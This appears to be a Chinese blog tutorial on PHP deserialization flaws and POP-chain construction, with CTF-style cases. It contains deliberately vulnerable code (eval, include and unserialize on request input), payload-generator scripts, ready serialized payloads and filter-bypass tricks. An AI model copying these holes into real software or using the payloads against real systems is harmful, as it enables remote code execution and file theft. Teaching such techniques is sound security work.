【php】反序列化漏洞之POP链构造基础

【php】反序列化漏洞之POP链构造基础

2026年03月26日·29 分钟阅读·99 次阅读·24 点赞·0 条评论

本文主要介绍php反序列化漏洞的一些基础知识,为后续的高阶pop利用链做基础

什么是魔术方法

魔术方法其实就是一个在特定时机自动调用的特殊方法,在开发时,只需要定义好它的内容,不需要手动触发,而其他的普通函数必须手动调用才可以执行。

这个概念在很多语言中都有,只是叫法不同,PHP 将所有以 两个下划线开头的类方法保留为魔术方法。其中PHP与python的魔术方法非常相似,甚至命名方式都很像,例如 __construct__init__ 都是在创建对象时自动触发。

这里举个例子:

<?php
class student {
  
    public function __construct($name = 'JeryGao'){
        $this->name = $name;
    }
    public function running(){
        echo $this->name . " is running";
    }
}
 
$stu = new student();
$stu->running();

student 类中有一个 __construct 构造方法,定义了 name属性的值为 JerryGao,当我们 new 一个对象时候,若没有传值,则 name值默认为 JerryGao ,因为在创建对象时,构造方法自动调用

clipboard_1774269913913.png

下表为 php 常见的魔术方法:

分类 方法 触发时机
生命周期 __construct() 创建对象时(new
生命周期 __destruct() 对象被销毁时
属性访问 __get($name) 访问不存在的属性时
属性访问 __set($name, $value) 给不存在的属性赋值时
属性访问 __isset($name) 对不存在的属性调用isset()
属性访问 __unset($name) 对不存在的属性调用unset()
方法调用 __call($name, $args) 调用不存在的实例方法时
方法调用 __callStatic($name, $args) 调用不存在的静态方法时
对象转换 __toString() 对象被当作字符串使用时
对象转换 __invoke() 对象被当作函数调用时
克隆与序列化 __clone() 使用clone 复制对象时
克隆与序列化 __sleep() 对象被序列化前触发
克隆与序列化 __wakeup() 对象被反序列化时触发
其他 __debugInfo() 使用var_dump() 打印对象时

我们再看一个例子,能更好的理解魔术方法的自动调用:

<?php
    class people {
        private $name = 'JerryGao';
 
        public function sleep(){
            echo "<hr>";
            echo $this->name . " is sleeping...\n";
        }
        public function __wakeup(){
            echo "<hr>";
            echo "调用了__wakeup()方法\n";
        }
        public function __construct(){
            echo "<hr>";
            echo "调用了__construct()方法\n";
        }
        public function __destruct(){
            echo "<hr>";
            echo "调用了__destruct()方法\n";
        }
        public function __toString(){
            echo "<hr>";
            echo "调用了__toString()方法\n";
        }
        public function __set($key, $value){
            echo "<hr>";
            echo "调用了__set()方法\n";
        }
        public function __get($key) {
            echo "<hr>";
            echo "调用了__get()方法\n";
        }
    }
    //创建对象时,调用__construct
    $star = new people();
    //给不存在的属性赋值时,调用__set(name为私有属性)
    $star->name = 1;
    //调用私有属性,调用__get
    echo $star->name;
 
    $star->sleep();
    //序列化前,调用__sleep,但此处没有
    $ser_star = serialize($star);
    //反序列化时,调用__wakeup
    print_r(unserialize($ser_star))
 
    //最后销毁两个对象(new对象一个,反序列化一个),调用两次__destruct
?>

clipboard_1774277406963.png

相信到这里,你应该了解了魔术方法的自动调用机制。但是反序列化漏洞跟这有什么关系呢?实际上后续的反序列化pop链,就要仰仗这些自动调用的魔术方法来实现

序列化/反序列化

为什么要有序列化

  • 序列化(Serialization) 是将 PHP 数据结构(变量、对象、数组等)转换为可存储或传输的字符串格式的过程。
  • 反序列化(Unserialization) 则是将这个字符串还原回原始数据结构的逆过程。

听起来有点抽象,你可能会疑问,为什么要有序列化?不序列化的数据结构,没法存储和传输吗?

事实上,内存中的数据结构可存储/传输的字节是两种完全不同的东西。

当你在 PHP 中创建一个对象:

$user = new User();
$user->name = "Alice";

它在内存中实际上是这样的:

  • 一 个指针,指向某块内存地址(比如 0x7ffd3a2b
  • 那块内存里存着属性值
  • 还有指向类定义的引用(方法表、继承关系等)
  • 可能还有其他对象的引用链

这些东西只在当前进程、当前机器、当前这一刻有意义。那为什么不能直接把那块内存的字节复制出来?

  • 内存指针失效:进程A的内存情况为是,user对象的内存地址为 0x7ffd3a2bname -> 指向 0x7ffd3a2b0x7ffd3a2b 处存着"Alice",但当B进程下次启动时,0x7ffd3a2b 这个地址将会是别的东西,完全失效!所以说,指针是内存地址,换个进程就毫无意义了
  • 边界无法界定:原始字节流里,接收方不知道从哪到哪是一个对象,哪里是字符串,哪里是整数。
  • 跨语言/跨平台不兼容:32 位和 64 位系统的指针大小不同;不同 CPU 架构的字节序(大端/小端)不同; Python也根本看不懂 PHP 的内存布局

而序列化就是来解决这个问题。序列化本质上是把"只对当前进程有意义的内存结构"翻译成"放在任何地方都能被重新理解的文本/字节"。例如:

内存中的活对象                序列化字符串
━━━━━━━━━━━━━━               ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[ptr: 0x7ffd3a2b]    →       O:4:"User":1:{s:4:"name";s:5:"Alice";}
  name → [ptr: 0x7ffd3a40]

         "Alice"

经过序列化后的字符串,不仅可以写进文件,存进数据库,还可以通过网络发送,并且一年后也能还原,另一台机器也能读懂。

用 claude 总结的一句话来说:

内存是"活的"、临时的、充满指针的;存储和网络需要"死的"、持久的、自描述的字节流。序列化就是在这两个世界之间架桥。

序列化

<?php
class stu{
    public $team = 'joker';
    private $team_name = 'hahaha';
    protected $team_group = 'biubiu';
 
    function hahaha(){
        $this->$team_members = '奥力给';
    }
}
$stu = new stu();
echo serialize($stu);
?>

在上面的例子中,stu 对象序列化后的结果如下:

O:3:"stu":3:{s:4:"team";s:5:"joker";s:14:"stuteam_name";s:6:"hahaha";s:13:"*team_group";s:6:"biubiu";}

下面逐块解释:

对象头部 O:3:"stu":3:

  • O — 表示这是一个对象(Object)
  • 3 — 类名 stu 的字符长度
  • "stu" — 类名
  • 3 — 该对象有 3 个属性(注意:hahaha() 方法里动态赋值的 $this->$team_members 在实例化时不会自动执行,所以不算在内)

属性 1:s:4:"team";s:5:"joker"(public)

public 属性键名直接保留原名,team 是 4 个字符,值 joker 是 5 个字符,没有任何前缀修饰。

属性 2:s:14:"\0stu\0team_name";s:6:"hahaha"(private)

private 属性会在键名前后各插入一个不可见的 \0(NULL 字节),格式是 \0类名\0属性名。所以实际键名是 \0stu\0team_name,长度 = 1+3+1+9 = 14

属性 3:s:13:"\0*\0team_group";s:6:"biubiu"(protected)

protected 属性的前缀固定是 \0*\0,格式是 \0*\0属性名。所以实际键名是 \0*\0team_group,长度 = 1+1+1+10 = 13

关于 hahaha() 方法里的 $this->$team_members

这里有个 PHP 的坑——$this->$team_members变量变量(variable variable),因为 $team_members 这个变量未定义,所以实际上不会正常执行。而且 $stu = new stu() 只是实例化,并没有手动调用 hahaha() 方法,所以序列化结果里完全没有这个属性的踪迹。

序列化格式中的字母含义:

a - array                    b - boolean  
d - double                   i - integer
o - common object            r - reference
s - string                   C - custom object
O - class                    N - null
R - pointer reference        U - unicode string

反序列化

反序列化(unserialize())就是序列化的逆过程——把序列化字符串还原成 PHP 对象或数组。但它真正的危险在于:还原对象时会自动触发魔术方法,这是反序列化漏洞的核心。

我们手写一个序列化结果,然后使用反序列化函数 unserialize 进行反序列化处理,最后使用 var_dump 进行输出:

<?php
    $stu = 'O:6:"object":2:{s:1:"a";i:1;s:4:"team";s:6:"hahaha";}';
    $ser = unserialize($stu);
    var_dump($ser);
?>

var_dump 结果为:

object(__PHP_Incomplete_Class)#1 (3) { ["__PHP_Incomplete_Class_Name"]=> string(6) "object" ["a"]=> int(1) ["team"]=> string(6) "hahaha" }

__PHP_Incomplete_Class

因为序列化字符串声明的类名是 object,但当前 PHP 环境中根本没有定义这个类。PHP 无法还原一个不存在的类的实例,所以就用 __PHP_Incomplete_Class 作为"占位类"来代替。

object(__PHP_Incomplete_Class)#1 (3) {

类型是对象,实际类是 __PHP_Incomplete_Class``#1 是对象编号

(3) 表示有 3个属性(注意原来只有2个,多了一个 PHP 自动注入的)

["__PHP_Incomplete_Class_Name"]=> string(6) "object"

PHP 自动注入的特殊属性,记录了原始类名 object(长度6),这就是为什么属性数量从 2 变成了 3

php反序列化漏洞原理

PHP 反序列化漏洞的核心原理是:unserialize() 函数在将字符串还原为 PHP 对象时,会自动触发该类中定义的魔术方法(如 __wakeup()__destruct()__toString() 等),如果攻击者能够控制传入 unserialize() 的数据,就可以精心构造一段序列化字符串,让程序实例化一个恶意对象,从而在魔术方法执行时触发危险操作(如文件读写、命令执行、SQL 注入等)——这整个过程被称为 POP 链(Property-Oriented Programming),攻击者通过拼凑代码库中已有类的属性与方法,将多个魔术方法串联起来,最终将"数据输入"转化为"代码执行"。

案例一

<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($p); // 反序列化同时触发_destruct函数
?>
 
 
 

我们post传入一个 phpinfo ,可以看到直接执行了

clipboard_1774336832561.png

原理:

POST 传入 test=phpinfo();,代码将其拼接成一个序列化字符串 O:1:"A":1:{s:4:"test";s:10:"phpinfo();";} ,该字符串描述了一个类 A 的实例且其 test 属性值为 phpinfo();,随后 unserialize() 对其反序列化还原出对象,PHP 在脚本执行结束销毁该对象时自动触发 __destruct() 魔术方法,方法内 eval($this->test)phpinfo(); 作为 PHP 代码执行,最终输出 phpinfo 页面。

案例二

index.php

<?php 
$txt = $_GET["txt"]; 
$file = $_GET["file"]; 
$password = $_GET["password"]; 
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))
{ 
    echo "hello friend!<br>"; 
    if(preg_match("/flag/",$file))
    { 
       echo "不能现在就给你flag哦"; 
       exit(); 
    }
    else
    { 
       include($file); 
       $password = unserialize($password); 
       echo $password; 
    } 
}
else
{ 
       echo "you are not the number of bugku ! "; 
} 
?>

hint.php

<?php  
class Flag{//flag.txt  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
            return ("good");
        }  
    }  
}  
?>

这个案例的关键利用点其实在 index 中的 echo $passwordunserialize反序列化将 password 变量变成了一个对象(反序列化会自动创建对象),而当echo一个对象时,会自动触发 __toString 魔术方法,而在 toString 魔术方法中,有 file_get_contents 函数可以读取flag,并且 $file 可控。

首先,file_get_contents 中传入的文件内容必须要有 welcome to the bugkuctf ,但其实这个函数不光能读本地文件,也能读 PHP流。所以我们可以txt=php://input,然后在请求体中写 welcome to the bugkuctf即可。(php://input 是一个只读流,内容就是PHP请求体(POST body))

其次,虽然存在 include 文件包含,并且 $file 字段可控,但是 preg_match 对传入的 file 做了过滤,不能有 flag ,所以我们不能直接 include flag.txt。我们要利用下方的反序列化函数,所以我们要 include hint.php 这个文件,将 Flag 类包含进来,为后续的反序列化重写 Flag 类参数做铺垫

最后,password 参数就是我们精心构造的序列化字符串:

O:4:"Flag":1:{s:4:"file";s:8:"flag.txt";}

我们直接给 Flag 类中的 $file 赋值,给一个flag.txt,随后在序列化时,将我们的password字符串变成一个对象,而 echo 一个对象时(将对象当做字符串使用),会自动调用 __toString 魔术方法,这个方法我们先前 include 包含进来了,在 __toString 方法中,会直接把我们 file 参数传递的 flag.txt 放入 file_get_contents ,从而拿到flag

以下是我们构造的数据包,成功了。这个案例其实考的就是 __toString 方法,只不过稍微设置了点障碍,还算基础

clipboard_1774363044152.png

补充:要想使用 PHP://input 直接读取 POST 数据,那么 enable\_post\_data\_reading = Off 这一配置项必须为 On ,默认是 On

如果设为 Off,PHP 不会读取 POST 数据,php://input 也会随之失效,读到的是空字符串。

构造POP利用链

什么是POP链

POP 链的全称是 Property-Oriented Programming(面向属性编程),类比于二进制漏洞利用中的 ROP(Return-Oriented Programming)。都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。

其核心思想是:通过串联多个类的魔术方法,利用对象的属性来控制程序执行流程,最终达到攻击目的。

PHP 反序列化时会自动触发 __wakeup()__destruct() 魔术方法,但这两个方法本身往往做不了什么危险操作,我们的目标通常是执行命令、写文件、SSRF 等,这些操作可能藏在其他类的某个方法里。POP 链就是把这两点连起来的桥梁。

值得一提的技巧

  • 在反序列化中为了避免信息丢失,使用大写 S 支持字符串的编码。

PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写 S 表示字符串,此时这个字符串就支持将后面的字符串用 16 进制表示,使用如下形式即可绕过,即:

s:4:"user"; -> S:4:"use\72";
  • 深浅 copy

在 php 中如果我们使用 & 对变量 A 的值指向变量 B,这个时候是属于浅拷贝,当变量 B 改变时,变量 A 也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。

$A = &$B; 
  • 利用 PHP 伪协议

配合 PHP 伪协议实现文件包含、命令执行等漏洞。如 glob:// 伪协议查找匹配的文件路径模式。

案例一

<?php
class main {
    protected $ClassObj;
 
    function __construct() {
        $this->ClassObj = new normal();
    }
 
    function __destruct() {
        $this->ClassObj->action();
    }
}
 
class normal {
    function action() {
        echo "hello bmjoker";
    }
}
 
class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}
//$a = new main();
unserialize($_GET['a']);
?>

首先找利用落脚点,也就是 eval 函数,发现在 evil 类中的 action 方法里,而在 main 类中的 __destruct 调用了action,只不过是 normal 类中的action,因为构造方法中new的是 normal 对象,所以我们要篡改此处,让他 new 的是 evil 对象,当 main 对象销毁时,就会自动调用 __destruct ,从而调用 evil 中的action。此时我们还要给 evil 中的date赋值,赋上我们想要执行的命令

接下来我们写个php脚本生成payload:

<?php
class main{
    protected $ClassObj;
 
    function __construct() {
        $this->ClassObj = new evil();
    }
}
 
class evil {
    private $data = "phpinfo();";
}
 
$a = new main();
echo urlencode(serialize($a));
 

在这个脚本中,我们重写了 main 对象中的 __construct 方法,让他 new 的是 evil 方法,这样销毁 main 对象时,就会来到 __destruct ,从而调用 evil 的 action。我们还重写了 evil ,给里面的 $data 赋上我们要执行的命令。最后,因为protected属性序列化时,会添加不可见字符,所以我们把结果经过 urlencode 输出,最终得到:

O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

我们再通过 a 传入,成功了

clipboard_1774431275405.png

整体POP利用链

unserialize() 
  → main::__destruct() 
    → $this->ClassObj->action()  // ClassObj 已被替换为 evil 对象
      → evil::action() 
        → eval($this->data)      // 执行 phpinfo();

案例二

<?php
class MyFile {
    public $name;
    public $user;
    public function __construct($name, $user) {
        $this->name = $name;
        $this->user = $user; 
    }
    public function __toString(){
        return file_get_contents($this->name);
    }
    public function __wakeup(){
        if(stristr($this->name, "flag")!==False) 
            $this->name = "/etc/hostname";
        else
            $this->name = "/etc/passwd"; 
        if(isset($_GET['user'])) {
            $this->user = $_GET['user']; 
        }
    }
    public function __destruct() {
        echo $this; 
    }
}
if(isset($_GET['input'])){
    $input = $_GET['input']; 
    if(stristr($input, 'user')!==False){
        die('Hacker'); 
    } else {
        unserialize($input);
    }
}else { 
    highlight_file(__FILE__);
}

分析一下,我们最终的执行点是 __toString 方法的 file_get_contents 文件读取函数,要想触发 __toString,就要让一个对象被当做字符串来使用,我们看到了 echo $this 整合我们意思,它在一个__destruct 函数中,当对象销毁时自动调用。

但是 name 参数好像不可控,我们无法直接传值,且在反序列化执行前,会自动调用 __wakeup 函数,直接定义好 name 的值,看起来我们好像无法控制 name?

然而我们可以用深浅拷贝这个小技巧,因为我们可以完全控制 user 属性,所以我们可以直接让name 和 user 指向同一内存地址:\$a->name = &\$a->user;,从而给 name 赋值

接下来我们就要在 input 参数传入我们的序列化字符串,我们在序列化字符串中肯定要给 user 参数赋值,而题目又在检测 user 字段,不允许出现

这里我们又要用到上面提到的小技巧,所以我们用大写 S 转义语法S 类型的字符串可以用 xx(十六进制)表示字符,这我们就是用 use\72 来代替 user

以下是生成payload的脚本:

<?php
class MyFile {
    public $name = '';
    public $user = '';
}
$a = new MyFile();
$a->name = &$a->user;
$b = serialize($a);
$b = str_replace("user", "use\\72", $b);
$b = str_replace("s", "S", $b);
var_dump($b);
?>

生成出来的序列化字符串:

O:6:"MyFile":2:{S:4:"name";S:0:"";S:4:"uSe\72";R:2;}

我们需要手动将uSe改成use,随后传入,也是成功了

clipboard_1774445692930.png完整的POP链条:

unserialize($input)


  __wakeup() 触发

        ├─① $this->name = "/etc/passwd"  ← 先污染 name

        └─② $this->user = $_GET['user']  ← "flag.txt" 赋值给 user

                └─ 引用关系(&) 导致 name 同步变为 "flag.txt"


  对象生命周期结束


  __destruct() 触发

        └─ echo $this  ← 需要将对象转为字符串


        __toString() 触发

                └─ file_get_contents($this->name)

                            └─ $this->name = "flag.txt"


                                  输出 flag 内容

案例三

<?php
class start_gg
{
    public $mod1;
    public $mod2;
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function test1()
    {
        $this->mod1->test2();
    }
}
class funct
{
    public $mod1;
    public $mod2;
    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __invoke()
    {
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1
{
    public $str1;
    public $str2;
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:xxxxxxxxxxxx";
    }
}
$a = $_GET['string'];
unserialize($a);
?>
 

依旧先找最终执行的落脚点,也就是 GetFlag类中的 get_flag 方法,向上找,看到 string1 中的 __toString 方法调用了 get_flag,再往上,func 中出现字符串拼接,就会触发 __toString,所以mod1要写 string1 ,再往上,funct类中的 $1(),直接将类当做函数调用,触发 __invoke ,那么__call 方法则是在调用不存在的方法时触发,刚好Call类中出现了mod1->test2(),链条的最后一环 test1()函数,则是在 start_gg类中的__destruct方法自动调用,至此,一条完整的链条出现了

php脚本如下:

<?php
class start_gg{
    public $mod1;
    public function __construct(){
        $this->mod1 = new Call();
    }
}
class Call{
    public $mod1;
    public function __construct(){
        $this->mod1 = new funct();
    }
}
class funct{
    public $mod1;
    public function __construct(){
        $this->mod1 = new func();
    }
}
class func{
   public $mod1;
    public function __construct()
    {
        $this->mod1= new string1();
 
    }
 
}
class string1{
 public $str1;
    public function __construct()
    {
        $this->str1= new GetFlag();   
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:"."xxxxxxxxxxxx";
    }
}
 
$a = new start_gg();
echo urlencode(serialize($a));
 

随后将生成的序列化字符串传入 string 即可

clipboard_1774450498401.png

逐步拆解:

第1步:__destruct 触发入口

// start_gg 对象被销毁时自动执行
public function __destruct() {
    $this->mod1->test1();  // mod1 = Call 对象
}

unserialize() 结束后对象生命周期结束,__destruct 自动触发。

第2步:test1() 正常调用

// Call::test1() 被正常调用
public function test1() {
    $this->mod1->test2();  // mod1 = funct 对象,但 funct 没有 test2()!
}

第3步:__call 触发

// 调用不存在的方法 test2() → 触发 __call
public function __call($test2, $arr) {
    $s1 = $this->mod1;  // mod1 = func 对象
    $s1();              // 把对象当函数调用 → 触发 __invoke
}

第4步:__invoke 触发

// func 对象被当作函数调用
public function __invoke() {
    // 字符串拼接,mod1 = string1 对象
    // string1 不是字符串 → 触发 __toString
    $this->mod2 = "字符串拼接" . $this->mod1;
}

第5步:__toString 触发

// string1 在字符串上下文中被使用
public function __toString() {
    $this->str1->get_flag();  // str1 = GetFlag 对象,调用目标方法!
    return "1";
}

第6步:获取 Flag

public function get_flag() {
    echo "flag:xxxxxxxxxxxx";
}

案例四

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
 
 
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
 
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
 
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
 
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
 
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
?>

先找利用落脚点,发现在 Modifier 类中有个 include 函数,在append方法中,可以包含文件。随后在 __invoke 方法中发现调用了 append 方法,并且传入了 var 参数,所以我们只要将要读的文件赋值给 var 就行。那么 __invoke 方法只有在对象被当做函数调用时才触发,刚好在 Test 类中的 __get 方法存在 $function(),所以我们只需将 $function赋值为 Modifier 对象即可。而 __get 是在调用一个不存在的方法时被调用,那么在 Show 中的 __toString 方法存在 str->source,所以我们只需将 $str 赋值为 Test对象即可。而 __toString 方法则是将对象当做字符串使用时被调用,刚好在 Show 中的 __construct 有一个echo,拼接了 $this->source ,所以我们只需将 $source 赋值为 Show 对象即可。__construct 则是在创建 Show 时自动调用,至此,完整利用链出现

我们编写一个脚本:

<?php
class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
}
 
class Modifier{
    protected $var = "flag.txt";
}
$a = new Show();
$a->source = $a; //将Show对象中的source属性赋值为Show对象
$a->str = new Test(); //将Show对象中的str属性赋值为Test对象
echo urlencode(serialize($a));
?>
 

生成的序列化字符串:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.txt%22%3B%7D%7D%7D

随后传递,成功了

clipboard_1774487019941.png完整利用链:

unserialize($_GET['pop'])
  └─ 触发 Show::__wakeup()
       └─ preg_match(..., $this->source)  // source 是 Show 对象
            └─ 触发 Show::__toString()
                 └─ return $this->str->source  // str 是 Test,访问不存在的属性
                      └─ 触发 Test::__get('source')
                           └─ $function = $this->p  // p 是 Modifier 对象
                                └─ return $function()  // 调用 Modifier::__invoke()
                                     └─ $this->append($this->var)
                                          └─ include("flag.txt")  // 读取 flag

总结

本文就先到这里,主要介绍了php反序列化的基础概念以及原理,列举了几个简单的POP利用链。由于篇幅原因,Session 反序列化漏洞和phar 伪协议触发 php 反序列化,以及CTF实战案例,将在下一篇文章讲解

标签:#反序列化
©

版权声明:本文采用 CC BY-NC-SA 4.0 协议授权,转载请注明出处并保留原始链接。

原文链接:https://www.jerrygao.cn//blog/phpE58F8DE5BA8FE58897E58C96E6BC8FE6B49EE59FBAE7A180

评论 0

💬

还没有评论,成为第一个留言的人吧!